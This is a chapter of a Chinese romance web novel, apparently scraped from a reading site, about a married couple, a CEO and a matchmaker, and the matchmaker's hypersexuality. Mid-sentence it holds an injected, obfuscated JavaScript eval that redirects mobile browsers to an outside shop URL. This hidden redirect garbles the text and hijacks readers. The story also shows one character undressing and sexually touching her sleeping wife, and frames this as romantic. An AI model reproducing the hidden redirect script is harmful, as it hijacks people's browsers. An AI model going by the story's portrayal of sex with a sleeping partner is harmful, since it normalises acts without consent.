默认冷灰
24号文字
方正启体

11. 第 11 章

作者:汁士本书字数:K更新时间:
    傅氏集团,顶层。


    傅氏总部是沿江一带最高的建筑,足有九十八层,透过玻璃窗可尽收江边美景。


    一抹高挑身影站在落地窗旁。


    她穿着雪色高领衫和垂坠感极佳的西裤,完全贴合身体的剪裁将曲线勾勒得淋漓尽致。


    长颈纤细、直角肩笔挺清瘦、恰到好处的弧圆轮廓、盈盈可握的细窄腰肢......


    无不令人血脉喷张。


    可偏偏气场冷淡,玻璃窗映着她更为寡淡的眉眼。


    她像游离于俗世情感以外的出世高人。


    她不喜美景,对江边繁华景象毫不在意,视线越过几处高楼,落在中间的一处纯白迷你建筑上。


    那是新城区唯一的一座钉子户。


    目光从二楼开始缓慢逡巡,仿佛在巡视自己的地盘。


    助理这时敲门进来。


    “傅总,夫人已经到楼下了,科技部李部长在接待,王教授那边也已经准备好,现在过去么?还是先下六十七层?”


    几位高层预约了怀煦婚介所的服务。


    怀所长亲自上.门。


    “现在。”


    傅清予淡声道。


    助理跟在老板身后,看着老板目不斜视路过总裁专用电梯,专用梯屏幕显示正从1楼往上升。


    从她跟随傅清予以来,就没见过傅总搭乘总部的非专用电梯。


    电梯缓慢下行,梯内装饰不及专用梯豪华,傅清予冷而强大的气场将这里衬得像专用梯。


    八十三、七十四、六十九......


    若从建筑外的视角看,紧邻的两座电梯一上一下,正在无限接近对方的楼层。


    直到六十五层,电梯交错,而后才渐行渐远。


    怀煦若有所感地偏过头。


    除了窗外一片大好风景,什么也没看到。


    ·


    森城医院,专家办公室。


    助理候在门外没跟着进去。


    室内,王教授戴上眼镜,五十多岁的妇人笑容和蔼,仔细调试仪器参数。


    傅清予躺在仪器床上,被推进机器内部。


    扫描光线从颅顶到脚。


    看着屏幕上浮现的数据,王教授疑惑。


    越看,眉头越是拧紧。


    这机器是不是坏了?


    又换了几台机器,傅清予配合地一一检查。


    王教授桌面平铺着十多份检查报告单,对面是神色依旧淡然的傅清予。


    “傅总,您确定您在床事上,没有感觉?”


    “我确定。”


    “那不对啊......”


    红笔圈起几项关键数值。


    “这里多处显示您的各项激素水平比起正常状态下要高,这是一个好现象,对您的工作和生活都有帮助。”


    傅清予神色依旧淡,激素好像完全影响不了她。


    王教授纳闷:“您伸手,我给您号个脉。”


    脉象平稳有力,能听出来身体状态极佳,更重要的是——


    “您昨晚......两三点才睡?可却很健康。”


    王教授认真打量患者的面色,惊掉下巴:“气色极佳,结合脉象判断,您最近很滋润啊傅总,夫人在这方面一定很会吧。”


    实话说,这是王教授接待过最滋润的‘患者’。


    她极有可能不是患者。


    若是常人被号出这种隐私,少不了要面红耳赤支支吾吾犹豫应声。


    可对面是在生意场上有着雷霆手段也面色不改的傅氏总裁。


    傅清予没有应教授最后一句话,反倒问:“很滋润?”


    王教授:“是啊,床事是女人最好的补品,您这种状态是发自体内的滋润。”


    傅清予:“我没这种滋润的感觉。”


    王教授:“......”


    助理和傅清予走在VIP部的长廊,靴子踩在地板发出清脆声音,阳光透过玻璃窗,洒落在质地光泽的浅色大衣上。


    出了病房,总裁便没说话了。


    表情面色如常,可助理却感受到了一阵不同寻常的低气压。


    她把自己的存在感降到最低,跟在身后。


    突然在转角处停下。


    对面的女人看着傅清予,傅清予微微颔首:“伯母。”


    脚步只是顿了半刻,像是特地为了打这一声招呼才停下,而后继续往前走,和女人擦肩而过。


    “傅小姐,你和阿煦相处如何?”


    陶凉转身,傅清予也转身。


    “很好,伯母。”


    不愧是妻妻,答案都一样。


    陶凉:“我并不认为阿煦能与你相处和谐。”


    她的话好似另有深意。


    “伯母什么意思?不妨直说。”


    两双相似的琥珀瞳凝望对方。


    陶凉轻笑,温柔笑意不及眼底:“傅小姐不是已经知道了吗?”


    她们站立的地方正是妇科诊区门口,门上还写着大大的两字。


    傅清予刚从里边儿的专家办公室出来。


    傅清予:“还请伯母明说。”


    “傅小姐何必自欺欺人,阿煦想要什么我想你应该很清楚,你给不了。”


    “伯母似乎很笃定我和怀煦会产生分歧。”


    “清予。”


    陶凉用着长辈对晚辈的无奈语气,可她话还没说出口,傅清予便先她一步开口。


    “改天,我和怀煦去探望您与祁伯母。”


    陶凉还想说什么,可傅清予转身离去,背影渐行渐远,没再给她说话的机会。


    ·


    另一边,傅氏集团六十七层。


    现在是下班时间,员工陆续离开,只有六十七层的会议室充斥着欢声笑语。


    这间会议室采用双层玻璃隔断,里面的声音传不出来,但能看到每位高层脸上洋溢的笑意。


    怀煦脸上也挂着浅浅的笑。


    眼底的黑眼圈用眼霜盖过,可周身依旧萦绕着一股难以言说的消沉。


    高层们只当夫人和总裁有点争吵。


    小吵胜新婚,不足为奇。


    夫人和傅总的感情应该是很好的。


    她们都知道了,傅总今天把专用梯让给夫人用,主动搭乘普通梯。


    下班后公司各种八卦大群还在聊这事儿。


    傅清予站在视线盲区,安静看着侃侃而谈的怀煦。


    怀煦助理在门外,不时看看手机屏幕上的时间,似乎想推门进去又怕打扰,于是只好在门外踱步徘徊。


    一道身影缓慢靠近,她主动打招呼:“傅总。”


    “找怀煦什么事?”


    “啊......我晚上约了女朋友,按计划时间半个小时前就能走的,可是怀老师还在里面忙我暂时不能走。”


    被老板夫人抓包,助理有些尴尬地挠了挠头。


    傅清予重复:“原计划半小时前能离开?”


    “是,怀老师平常很守时,一般第一次接触,一个客户控制在半小时内。


    里头四位客户,原计划是七点怎么着都结束了。”


    现在七点半有多。


    “......不过这两天,怀老师会面客户的时间都比较长,她总说要更了解客户,才能匹配到真正适合的对象,服务才算做到位。”


    “可能是最近有个富二代客户频频出现在所里,向怀老师表达各种不满,怀老师才更加谨慎了些。”


    恐怕不是因为什么富二代客户。


    而是因为这段突如其来的婚姻。


    傅清予淡淡收回视线。


    “和女友约了什么项目?”


    助理嘿嘿一笑:“今天是恋爱一周年纪念日,我们计划出去吃顿好的。”


    “黑珍珠合适吗?”


    “太贵了,完全不在我们的选择范围里。”


    黑珍珠餐厅一顿饭人均五位数起步,两个人吃一顿,得吃掉助理半个月的工资。


    “一号露台视野很好,报怀煦的名字。


    你可以让女友先去坐着,吃些餐前小点,今天有钢琴手和小提琴手演奏,所有消费算我在我的账单里。”


    傅清予话音刚落,她的助理便从主动上前,向愣在原地的怀煦助理举了举手机。


    “咱们加个联系方式?女朋友喜欢吃什么?我们现在和餐厅经理沟通,争取咱们女朋友到了就能立刻吃上。”


    怀煦助理有些恍惚:“是我女朋友。”


    莫名强调前面的‘我’。


    傅清予助理笑了:“对对对是你女朋友,夫人的助理怎么这么可爱。”


    夸得怀煦助理有些脸红。


    她一边和总裁助理姐姐沟通菜品事宜,一边安心等待老板,不再着急。


    心中还暗暗期待老板争气一点。


    吹吹枕边风多招揽些大单,婚介所做大做强指日可待。


    届时她也能像傅总的助理一样,成熟强大可独担一面。


    ·


    八点,会议室门推开。


    几位高层非常庆幸自己是女同,能毫不避讳地约见怀所长。


    其他的高层同僚都很羡慕她们。


    还有人问现在转女同变弯,购买总裁夫人婚介所的服务还来得及吗?


    她们回复同僚:【晚了】


    笑吟吟走出会议室,看到门外的傅总,吓得心脏猛缩。


    傅总不会一直在看着吧?


    预约怀所长的服务,固然有在总裁夫人面前刷个脸的目的。


    但刷脸归刷脸,见到傅总本人,她们还是会夹起尾巴。


    小心翼翼地地打了招呼,火速离开现场。


    助理整理完资料,和女朋友通着电话,欢天喜地离开。


    女友的情绪也很激动,一直在给助理分享黑珍珠餐厅如何奢华,满是金钱的香气。


    让她不要着急多加一会儿班也没问题,她一个人也玩得很开心。


    助理脚步飞快。


    所有人都离开了,偌大的楼层只剩两人。


    夜色下办公大楼灯火通明。


    傅清予站在落地窗边,怀煦缓步走过去,脱下身上的大衣,盖在妻子身上。


    因肩膀生得宽,市面上许多尺寸都穿不下,怀煦很多衣服都是定制的。


    宽大的外衣拢在傅清予身上,搭配出了宽松慵懒的冷淡闲适感。


    怀煦撩出衣服盖住的乌丝,像半揽着傅清予。


    “吃饭没?”


    傅清予:“没有,家里备好了菜。”


    言下之意是等你一起回去吃。


    傅清予虽瞧着冷淡,说话也没什么温度,但各方面的小细节总是很戳怀煦。


    怀煦拉开副驾驶车门,傅清予施施然坐入内,怀煦俯身,拽着安全带。


    咔哒——


    鼻尖擦过傅清予鼻尖,呼吸顿了又顿。


    地下三层的专用地库阴凉,寒气从地底上冒出来,而唇瓣摩挲间带起的热度滚烫。


    傅清予仰起头,迎接怀煦温吞又温柔的亲吻。


    冷淡美人拥有一双炽热的粉唇。


    灼得怀煦呼吸紊乱。


    地库到处充斥轻微的机油气味,唯独唇舌交缠的这处萦绕着挥之不去的软香。


    她亲了很久,吻到傅清予感到了腹中明显的饥饿,抬起手阻止怀煦。


    指尖一路滑到那截劲瘦的腰。


    轻掐了掐。


    怀煦腰上有痒痒肉,被捏一下就跟触电似的。


    接吻时掐她和撩拨勾引她没太大区别,头皮瞬间发麻,不小心咬在妻子唇角,留下一道浅浅的牙印。


    但估计坦坦荡荡又冷淡寡欲的傅总不会想到这一层。


    大抵是在示意她停下。


    怀煦意犹未尽,撕开一份湿巾,清理傅清予和自己的唇。


    呼吸还是乱的。


    腰上的手还留在原地。


    没掐,主要起一个扶着的支撑作用。


    傅清予很喜欢她的腰,尤其在那种时候。


    葱白指尖漫不经心划过腰身和鲨鱼肌,琥珀瞳冷淡依旧。


    把怀煦‘玩弄’得浑身燥热。


    折腾到三点不止是为了试验,还因为她冷冷淡淡的傅总一直在不紧不慢地花样煽风点火。


    灭不掉的点点星火燎原。


    但烧又烧不起来,直接造成了怀煦彻夜燥热睡不着、清晨起床出现黑眼圈的惨况。


    厨房今天准备的菜还是各种各样的清热降火菜。


    效果是立杆见影的,怀煦只在傅清予办公室狼狈地流过鼻血,这几天晚上身体状态良好。


    吃过饭,傅清予在书房加班。


    怀煦看时间差不多,先进书房浴室把自己打理得喷香,再到主卧浴室,打开浴缸水龙头。


    热水灌得七分满,傅清予结束加班恰好进入浴室,水温也恰好。


    怀煦退出,忙活自己的事情。


    关掉天花主灯、开启床头小灯,取出抽屉那本杂志,翻到傅清予昨天看的那一页。


    身体乳什么的全部备好,再去向管家确认明天早餐的菜单。


    一切准备就绪,敲门回到主卧浴室。


    傅清予恰好泡完澡,怀煦拿浴巾裹起肌肤透粉的老婆,妻子在她怀里轻阖眼眸,这是怀煦感到愉悦的时刻之一。


    不久,吹风机嗡声响起。


    长指撩起秀发,缓慢吹拂。


    湿发吹干,傅清予自己会走上床。


    怀煦仔细涂抹身体乳,将老婆打理得像森城这所国际大都市里最靓丽精致的丽人。


    这也是未婚的傅清予睡前会做的事情。


    现在淡然享受着妻子的照顾,半阖眼眸,一切都是那么的默契和自然。


    婚后第五天,怀煦和傅清予默契得俨然像共同生活了几十年的老妻妻。


    怀煦洗干净手,准备从抽屉里取出指套,傅清予淡淡睨她一眼。


    “今天早点睡。”


    怀煦温顺地推回抽屉,安静躺在妻子身侧。


    身旁很快传来均匀的清浅呼吸。


    傅清予睡着了,可怀煦睡不着。


    妻子躺在她身边,成熟的香气像牢牢笼罩她的网,一呼一吸尽数听入耳中。


    怀煦还能回想起那种时候,傅清予的呼吸是如何有着细微变化。


    这一想、一念,又是一发不可收拾。


    欲壑难填,欲壑难填。


    还是欲壑难填。


    心口像有蚂蚁在啃食,燥热难安。


    在被窝里捂得身上出了一层薄汗,怀煦只好小心翼翼掀开被子。


    睁眼看着天花板,什么都不能做。


    看着看着,视线总忍不住要往傅清予那边瞧。


    就瞥一眼,缓解一下。


    沉睡中的妻子浑身依旧散发冷淡气息,月色昏暗,将本就深邃的五官映衬得立体。


    纤长睫毛安稳地翘着,根根分明。


    鼻梁弧度完美,在上面滑滑梯应该十分顺溜。


    唇形漂亮唇色健康,唇珠更是饱满惹人嘬吮采撷。


    下颌肩颈线紧致优越......


    再看一眼。


    两眼,直到目光完全盯在那截半露的白皙香肩,只一根吊带摇摇欲坠地挂在上边儿。


    怀煦不争气地滚了滚喉咙。


    傅清予说早点睡,现在也的确睡着了。


    她先把环境温度调高两度。


    中央暖气控温功能强大,没两分钟过去,怀煦更热了。


    而后,小心翼翼掀开盖在妻子身上的被褥。


    身影笼罩傅清予,全程关注对方的神情,尤其是睫毛。


    好在傅清予没被她惊醒。


    再轻手轻脚撩起裙摆,上边两根吊带也往下拽,真丝布料堆在腰间。


    妻子实在如神迹般美得不可胜收。


    怀煦眼中迸发出光亮,难抑心口砰乱跳动,动作轻柔地推开膝盖。


    万一睡觉时有感觉呢。


    总不能放过验证这种可能的时机。


    好吧其实是她太馋了。


    怀煦不否认自己的私心。


    她想要傅清予。


    准确来说,是想要有所感觉和反应的傅清予。


    清醒时该有的步骤,现在也都有。


    顺利在不吵醒对方的前提下,唤醒了妻子的身体。


    她和傅清予简直天作之和。


    生活默契,身体也默契。


    倘若妻子能有感觉,这绝对是一段十全十美


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921644|192577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的婚姻,什么挫折磨难都拆不散。


    房间里充斥着暧.昧的声音,与渐渐析出的奇香相映衬。


    怀煦抵挡不了清醒的傅清予,更按耐不住此时的勃发的欲念。


    仔细盯着妻子的脸,不放过肌肉的任何反应。


    妻子还是没反应,睡得很沉,不知会不会梦到清醒时没有的感觉。


    渐渐的,怀煦胆子壮了起来。


    她甚至单手抄抱起傅清予,鼻尖细细嗅闻香颈,顺着颈部往上——看到了傅清予那双冷淡并清醒着的琥珀瞳。


    下一瞬。


    “啪。”


    伴随香风,一个不轻不重的巴掌落在她脸上,傅清予神情寡淡不变。


    怀煦花容失色愣怔半晌,旋即心口更加灼烫,酥麻感从脚底脸颊直窜天灵盖。


    傅清予刚醒就撩拨她。


    “弄够了么?”


    妻子在她怀中,淡声发问。


    怀煦缓慢吞咽:“没。”


    "弄完早点睡,我是说你。”


    傅清予打上最后一个补丁,重新闭眼。


    “老婆,你刚才有没有做什么梦。”


    “没有。”傅清予眼睛也没睁。


    要不是怀煦抱着颠炒了下,还险些给妻子翻了身,傅清予压根儿不知道有人正偷摸干着这种事情。


    怀煦沉默了,傅清予也没再说话,她实在很困。


    若是傅氏的员工知晓傅总还有脾气这么好的一面,定会不可置信地睁圆眼睛。


    才开始,又草草结束。


    怀煦打扫干净一个人的戏场,强忍身心异样,沉重地闭上双眼。


    彻夜无眠。


    ·


    “怀老师,怀老师醒醒,有客人来了。”


    助理半蹲到办公桌旁边。


    怀煦靠坐在办公椅,枕着颈枕,睡了不知多久。


    助理连喊了六次,怀煦才睁着惺忪睡眼醒来。


    眼底挂着一圈乌青。


    这已经是上了眼霜后的效果,乌青颜色化到最淡,依旧显眼。


    “好,知道了。”


    同样的话,这是今天上午怀煦说的第六遍。


    像中学时期紧锣密鼓的课程,怀煦会在接待完一个客户后,头往后一倒就睡。


    婚介所不愁生意,一个客户离开没多久另一个客户又到来,往往只能高质量地睡上那么几分钟。


    处理客户资料时,怀煦比起往常明显更加力不从心,专注度有所下滑。


    理着理着还会发呆。


    让反应本就慢半拍的她看上去像只蜗牛。


    助理担忧地问:“您最近是不是都没睡好?”


    怀煦缓慢揉着眉心:“或许吧。”


    快到中午,她点了份餐到森城医院。


    是该去医院看看了。


    王教授刚好有空。


    午休时间一到,怀煦交代助理接待客户,她独自前往森城医院。


    身体的状况不容忽视。


    怀煦是打车去的。


    车辆平稳行驶,她在后座捧着手机,屏幕上是一个悬赏问答网页,指尖缓慢敲下一行字。


    【太馋老婆但得不到满足会怎样】


    她想看看有没有和她类似的病症。


    答案五花八门,最快的回答直直撞进眼底。


    【会逐渐成为瓢虫】


    怀煦:“......”


    她倒没那种想法。


    要就只能是傅清予,否则还不如渴死饿死。


    【楼主老婆是不是低需求?这对于高需求来说确实很苦恼,是不是事前没做到位,太着急?】


    要说怀煦着急,这世上就再没有缓慢的人了。


    【二楼把‘性.瘾’包装得这么好听干什么,我不图楼主那五千块悬赏啊。


    就我自己也是‘性.瘾’,得不到浑身刺挠着难受,吃不好也睡不香,唯一的解决办法就是解决你老婆,直接换一个得了】


    换老婆不在怀煦的考虑范围内。


    网友果然不靠谱。


    车辆抵达医院门口。


    怀煦刚好接到了自己点的外卖,老沉一份。


    王教授不喜欢塑料包装的外卖,怀煦特意点的陶瓷餐具,好在力气大一只手也能拎上楼。


    “阿煦,好久不见。”


    听到脚步声,王教授主动上前开门迎接。


    “王教授很欢迎我?”怀煦笑着问。


    “这话说得,我这是医院,巴不得你少来。瞧瞧给我带什么好吃的了?”


    “您最喜欢的,对岸那家酸菜鱼。”


    怀煦把东西放在茶水间的桌面,摆好餐具。


    两人落座,边吃边聊。


    “上次见面还是你婚介所开张那天,所里生意怎样?”


    怀煦缓声应话:“很好,在森城算是经济独立了一半,就是江边房子太贵买不起。”


    王教授享受美食,看着面前小辈这张温和的脸,一时间回想到从前。


    “兜兜转转好多年过去了,当年你十六岁呢,大半夜红着眼睛跑到我办公室让我救你。”


    “这些年多亏教授您的药方,妙手回春。”


    “你这孩子嘴甜。说起来自己都开了婚介所,找老婆没?”


    “找到了。”


    说起这,怀煦可不困了。


    温隽眸光氤氲着温柔碎光,提起妻子满是幸福与自豪。


    “她买得起江边房子。”


    “嚯。”王教授比了比大拇指,“嫁进豪门了呀。”


    一老一少的有说有笑地结束了这顿久别的午餐。


    “手伸出来,我给你号脉。”


    怀煦伸出手,安静等待王教授。


    王教授眉心越拧越紧,号到最后还叹了口气。


    “你这怎么回事?首先一个睡眠严重不足,都不能简单说不足了,你昨晚压根儿没睡吧?”


    怀煦的沉默在王教授预料中。


    “没睡好找个时间补补觉就行,但你这身体怎么越活越回去了?多久没吃药了啊?”


    怀煦慢吞吞答道:“一周左右。”


    结婚后就没吃了。


    王教授又叹了口气。


    从来没有一个患者能让她这么忧心。


    本以为这家伙结婚后情况能有所好转,没想到竟然还恶化了。


    怀煦那性.瘾的毛病年纪轻轻就犯了。


    她不知道怀煦当年经历了什么事情,找到她办公室时呼吸又乱又重,一号脉,整整两天没睡着。


    在科室所有人震惊的目光里,怀煦把办公室二十周年庆的所有白色米色圆形气球都捏爆了。


    小怀煦当年交代,看到白色米白色的气球,会让她联想到女性身体的一部分,浑身难受。


    索性直接捏爆,眼不见为净。


    现在十年过去,虽不像当初那般,看见一个相似度甚至都不太高的东西就犯病那么严重。


    但再这么耗下去,估计离过去的身体状态也不远了。


    王教授想了想,还是开回从前的药方比较合适。


    办公室安静得可怕,她尝试提起轻松的话题。


    “我最近接待了个患者,那姑娘和你正正相反,身体那叫一个滋润美妙哦,我就没见过这么滋润的患者,她还以为自己病了。”


    王教授口中的姑娘年轻的可能有十四五岁,年迈的上至八九十,怀煦没想太多。


    笑了笑,发自内心咬牙切齿:“那真是恭喜她了。”


    也不知道那姑娘谈了个什么对象,能滋润到被见多识广的王教授挂在嘴边。


    想必一定有个契合度十分高的伴侣。


    但别人的滋润与她无关。


    怀煦转移思绪,目光落在教授的电脑屏幕。


    “剂量能开大一点吗?”她说,“之前的剂量可能不够用。”


    王教授很严肃:“不行,这已经是顶格剂量了。”


    “而且你自己也清楚,之前你的身体靠吃药才勉强达成平衡不会犯病。


    但现在结了婚,安稳生活这么多年的平衡被打破,已经不是吃药能压制的了。”


    怀煦脑海还回荡着教授最后的叮嘱。


    指尖勾着药包,失魂落魄离开医院。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)